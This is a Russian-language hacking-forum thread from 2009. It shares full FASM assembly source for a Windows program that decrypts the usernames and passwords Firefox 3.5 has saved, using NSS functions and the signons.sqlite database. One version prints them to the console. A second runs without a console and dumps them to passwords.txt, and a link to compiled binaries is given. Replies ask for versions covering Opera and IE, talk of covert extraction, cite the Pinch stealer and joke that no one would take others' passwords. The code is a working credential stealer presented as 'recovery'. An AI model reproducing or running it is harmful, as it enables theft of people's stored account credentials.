Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[ASM] Firefox 3.5 Passwords Recovery |

06.12.2009, 22:47
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
[ASM] Firefox 3.5 Passwords Recovery
Firefox 3.5 Passwords Recovery
Привет всем. Вот решил выложить, может кому и пригодится
Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана.
Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb  Тестировалось на Windows XP (x86).
По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника.
Код:
format PE
entry main
include 'win32a.inc'
USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90
section '.data' data readable writeable
pathWord db 'Path', 0
keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0
libNSS db 'nss3.dll', 0
libSQLite db 'sqlite3.dll', 0
nNSS_Init db 'NSS_Init', 0
nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0
nPK11_Authenticate db 'PK11_Authenticate', 0
nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0
nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0
nPK11_FreeSlot db 'PK11_FreeSlot', 0
nNSS_Shutdown db 'NSS_Shutdown', 0
nsqlite3_open db 'sqlite3_open', 0
nsqlite3_exec db 'sqlite3_exec', 0
nsqlite3_close db 'sqlite3_close', 0
iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0
profileNameMask db 'Profile%d', 0
profilePathMask db '%s\Mozilla\Firefox\%s', 0
dbName db 'signons.sqlite', 0
sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0
outputMask db 'Host: %s', 0Dh, 0Ah,\
'Username: %s', 0Dh, 0Ah,\
'Password: %s', 0Dh, 0Ah,\
'==================================================', 0Dh, 0Ah, 0
profileName rb 10 ; Имя профля (Profile0, Profile1, etc.)
profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
username rb USERNAME_MAX_LENGTH ; Имя пользователя
password rb PASSWORD_MAX_LENGTH ; Пароль
temp rb 256 ; Временная переменная для расшифровки
profilePath rb 256 ; Полный путь до профиля
appDataPath rb 256 ; Путь до директории APP_DATA
iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
firefoxPath rb 256 ; Путь до директории с установленным Firefox
outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль
hDB dd ? ; Дескриптор БД
hOutput dd ? ; Дескриптор консоли
writed dd ? ; Количество записанных данных на консоль
hKey dd ? ; Дескриптор ключа реестра
hNSS dd ? ; Дескриптор модуля NSS
hSQLite dd ? ; Дескриптор модуля SQLite
NSS_Init dd ? ;
PK11_GetInternalKeySlot dd ? ;
PK11_Authenticate dd ? ;
NSSBase64_DecodeBuffer dd ? ;
PK11SDR_Decrypt dd ? ; Дескрипторы функций
PK11_FreeSlot dd ? ;
NSS_Shutdown dd ? ;
sqlite3_open dd ? ;
sqlite3_exec dd ? ;
sqlite3_close dd ? ;
cbData dd ?
hKeySlot dd ?
struct PSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
eSECItem PSECItem
dSECItem PSECItem
section '.code' code readable executable
main:
invoke GetStdHandle, STD_OUTPUT_HANDLE ; Получаем дескриптор консоли
mov [hOutput],eax ; И записываем его в hOutput
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим
je .close ;
mov [cbData], 256 ;
invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox)
cmp eax, 2 ; Если такого нет (мало ли), то выходим
je .close ;
invoke RegCloseKey, [hKey] ; Закрываем Ключ
invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox
cmp eax, 0 ;
je .close ;
invoke LoadLibrary, libNSS ;
cmp eax, 0 ;
je .close ;
mov [hNSS], eax ;
;
invoke GetProcAddress, [hNSS], nNSS_Init ;
mov [NSS_Init], eax ;
invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ;
mov [PK11_GetInternalKeySlot], eax ;
invoke GetProcAddress, [hNSS], nPK11_Authenticate ;
mov [PK11_Authenticate], eax ;
invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ;
mov [NSSBase64_DecodeBuffer], eax ;
invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ;
mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки:
invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса
mov [PK11_FreeSlot], eax ; необходимых функций
invoke GetProcAddress, [hNSS], nNSS_Shutdown ;
mov [NSS_Shutdown], eax ;
;
invoke LoadLibrary, libSQLite ;
cmp eax, 0 ;
je .close ;
mov [hSQLite], eax ;
;
invoke GetProcAddress, [hSQLite], nsqlite3_open ;
mov [sqlite3_open], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_exec ;
mov [sqlite3_exec], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_close ;
mov [sqlite3_close], eax ;
invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы
cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini
sub ebx, ebx
.proloop: ; В цикле будут обрабатываться профили
cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля
cmp eax, 0 ; Ну а если такого профиля нет, то выходим
je .close
cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
invoke SetCurrentDirectory, profilePath
cinvoke NSS_Init, profilePath
cinvoke PK11_GetInternalKeySlot
mov [hKeySlot], eax
cinvoke PK11_Authenticate, [hKeySlot], 1, 0
cinvoke sqlite3_open, dbName, hDB ; Открываем БД
cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос
cinvoke sqlite3_close, [hDB] ; Закрываем БД
cinvoke PK11_FreeSlot, [hKeySlot]
cinvoke NSS_Shutdown
inc ebx
jmp .proloop
.close:
invoke ExitProcess, 0
proc CallBack c, cols, rows, headers
push ebx
mov ebx, [rows + 4]
invoke lstrcpyn, temp, [ebx + 4], 256 ;
invoke lstrlen, temp ; Расшифровываем имя пользователя
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;
invoke lstrcpyn, temp, [ebx + 8], 256 ;
invoke lstrlen, temp ; Расшифровываем пароль и
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;
cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске
invoke lstrlen, outputBuffer
invoke WriteConsole, [hOutput], outputBuffer, eax, writed, 0 ; Выводим текст на консоль
pop ebx
sub eax, eax
ret
endp
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
advapi32, 'advapi32.dll',\
shell32, 'shell32.dll'
include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\advapi32.inc'
include 'api\shell32.inc'
Компилируем и запускаем через консоль и получаем множество записей вида:
UPD:
Версия с записью результатов в файл:
Код:
format PE GUI 4.0
entry main
include 'win32a.inc'
USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90
section '.data' data readable writeable
pathWord db 'Path', 0
keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0
libNSS db 'nss3.dll', 0
libSQLite db 'sqlite3.dll', 0
outputFileName db 'passwords.txt', 0
nNSS_Init db 'NSS_Init', 0
nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0
nPK11_Authenticate db 'PK11_Authenticate', 0
nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0
nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0
nPK11_FreeSlot db 'PK11_FreeSlot', 0
nNSS_Shutdown db 'NSS_Shutdown', 0
nsqlite3_open db 'sqlite3_open', 0
nsqlite3_exec db 'sqlite3_exec', 0
nsqlite3_close db 'sqlite3_close', 0
iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0
profileNameMask db 'Profile%d', 0
profilePathMask db '%s\Mozilla\Firefox\%s', 0
dbName db 'signons.sqlite', 0
sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0
outputMask db 'Host: %s', 0Dh, 0Ah,\
'Username: %s', 0Dh, 0Ah,\
'Password: %s', 0Dh, 0Ah,\
'==================================================', 0Dh, 0Ah, 0
profileName rb 10 ; Имя профля (Profile0, Profile1, etc.)
profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
username rb USERNAME_MAX_LENGTH ; Имя пользователя
password rb PASSWORD_MAX_LENGTH ; Пароль
temp rb 256 ; Временная переменная для расшифровки
profilePath rb 256 ; Полный путь до профиля
appDataPath rb 256 ; Путь до директории APP_DATA
iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
firefoxPath rb 256 ; Путь до директории с установленным Firefox
outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль
hDB dd ? ; Дескриптор БД
writed dd ? ; Количество записанных данных на консоль
hKey dd ? ; Дескриптор ключа реестра
hNSS dd ? ; Дескриптор модуля NSS
hSQLite dd ? ; Дескриптор модуля SQLite
hFile dd ? ; Дескриптор файла
NSS_Init dd ? ;
PK11_GetInternalKeySlot dd ? ;
PK11_Authenticate dd ? ;
NSSBase64_DecodeBuffer dd ? ;
PK11SDR_Decrypt dd ? ; Дескрипторы функций
PK11_FreeSlot dd ? ;
NSS_Shutdown dd ? ;
sqlite3_open dd ? ;
sqlite3_exec dd ? ;
sqlite3_close dd ? ;
cbData dd ?
hKeySlot dd ?
struct PSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
eSECItem PSECItem
dSECItem PSECItem
section '.code' code readable executable
main:
invoke CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov [hFile], eax
mov [hFile],eax ; И записываем его в hFile
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим
je .close ;
mov [cbData], 256 ;
invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox)
cmp eax, 2 ; Если такого нет (мало ли), то выходим
je .close ;
invoke RegCloseKey, [hKey] ; Закрываем Ключ
invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox
cmp eax, 0 ;
je .close ;
invoke LoadLibrary, libNSS ;
cmp eax, 0 ;
je .close ;
mov [hNSS], eax ;
;
invoke GetProcAddress, [hNSS], nNSS_Init ;
mov [NSS_Init], eax ;
invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ;
mov [PK11_GetInternalKeySlot], eax ;
invoke GetProcAddress, [hNSS], nPK11_Authenticate ;
mov [PK11_Authenticate], eax ;
invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ;
mov [NSSBase64_DecodeBuffer], eax ;
invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ;
mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки:
invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса
mov [PK11_FreeSlot], eax ; необходимых функций
invoke GetProcAddress, [hNSS], nNSS_Shutdown ;
mov [NSS_Shutdown], eax ;
;
invoke LoadLibrary, libSQLite ;
cmp eax, 0 ;
je .close ;
mov [hSQLite], eax ;
;
invoke GetProcAddress, [hSQLite], nsqlite3_open ;
mov [sqlite3_open], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_exec ;
mov [sqlite3_exec], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_close ;
mov [sqlite3_close], eax ;
invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы
cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini
sub ebx, ebx
.proloop: ; В цикле будут обрабатываться профили
cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля
cmp eax, 0 ; Ну а если такого профиля нет, то выходим
je .close
cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
invoke SetCurrentDirectory, profilePath
cinvoke NSS_Init, profilePath
cinvoke PK11_GetInternalKeySlot
mov [hKeySlot], eax
cinvoke PK11_Authenticate, [hKeySlot], 1, 0
cinvoke sqlite3_open, dbName, hDB ; Открываем БД
cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос
cinvoke sqlite3_close, [hDB] ; Закрываем БД
cinvoke PK11_FreeSlot, [hKeySlot]
cinvoke NSS_Shutdown
inc ebx
jmp .proloop
.close:
invoke CloseHandle, [hFile]
invoke ExitProcess, 0
proc CallBack c, cols, rows, headers
push ebx
mov ebx, [rows + 4]
invoke lstrcpyn, temp, [ebx + 4], 256 ;
invoke lstrlen, temp ; Расшифровываем имя пользователя
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;
invoke lstrcpyn, temp, [ebx + 8], 256 ;
invoke lstrlen, temp ; Расшифровываем пароль и
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;
cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске
invoke lstrlen, outputBuffer
invoke WriteFile, [hFile], outputBuffer, eax, writed, 0
pop ebx
sub eax, eax
ret
endp
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
advapi32, 'advapi32.dll',\
shell32, 'shell32.dll'
include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\advapi32.inc'
include 'api\shell32.inc'
Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg
Последний раз редактировалось whexp; 07.12.2009 в 07:59..
|
|
|

07.12.2009, 00:38
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
Сделай лучше, чтоб в файл сохраняло.
И выложи пожалуйста откомпиллированую версию для тех, у кого не установлен асм.
|
|
|

07.12.2009, 01:05
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
=Zeus=, без проблем 
сделал версию с записью в файл, а так же залил откомпилированные версии.
|
|
|

07.12.2009, 01:30
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
Хм, почему-то от Вконтакте не определил, написал, что мой пароль такой-же как имейл. Хотя это не так. Может потому, что в нем много символов, в том числе и кириллических?
|
|
|

07.12.2009, 07:47
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
Пардон  Вчера не заметил. Сегодня исправлю, как приду.
|
|
|

07.12.2009, 08:02
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
Исправил. Изменил исходники, исправил ссылку. На этот раз сжал исходниики и компилированные версии вместе. console.exe - версия для консоли, а intofile.exe - с записью в файл.
ps. 2 =Zeus=, спасибо за замечания)
|
|
|

07.12.2009, 13:21
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
Задумайся над написанием одной программы для 3-х браузеров - Firefox, Opera и IE. 
|
|
|

07.12.2009, 19:34
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
=Zeus= , зачем? 
|
|
|

07.12.2009, 21:07
|
|
Участник форума
Регистрация: 25.10.2008
Сообщений: 215
Провел на форуме: 2483773
Репутация:
78
|
|
Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.
|
|
|

07.12.2009, 23:38
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
Сообщение от whexp
=Zeus= , зачем? 
Думаю все бы были только за, так как иногда нужно не только свои пароли восстановить, но и другим помочь это сделать, а вот если человек сидит из-под оперы, помочь ему не получится, а бывает ооочень нужно
Никто же не собирается брать себе чужие пароли, правда? Ми будем только восстанавливать, честное слово!
Для IE, насколько я знаю нельзя скрыто извлечь пароли на компе. Так что аналогичный софт был бы в тему.
Пинч же может. В ИЕ вообще по-моему пароли в реестре хранятся в зашифрованном виде.
Последний раз редактировалось =Zeus=; 07.12.2009 в 23:42..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|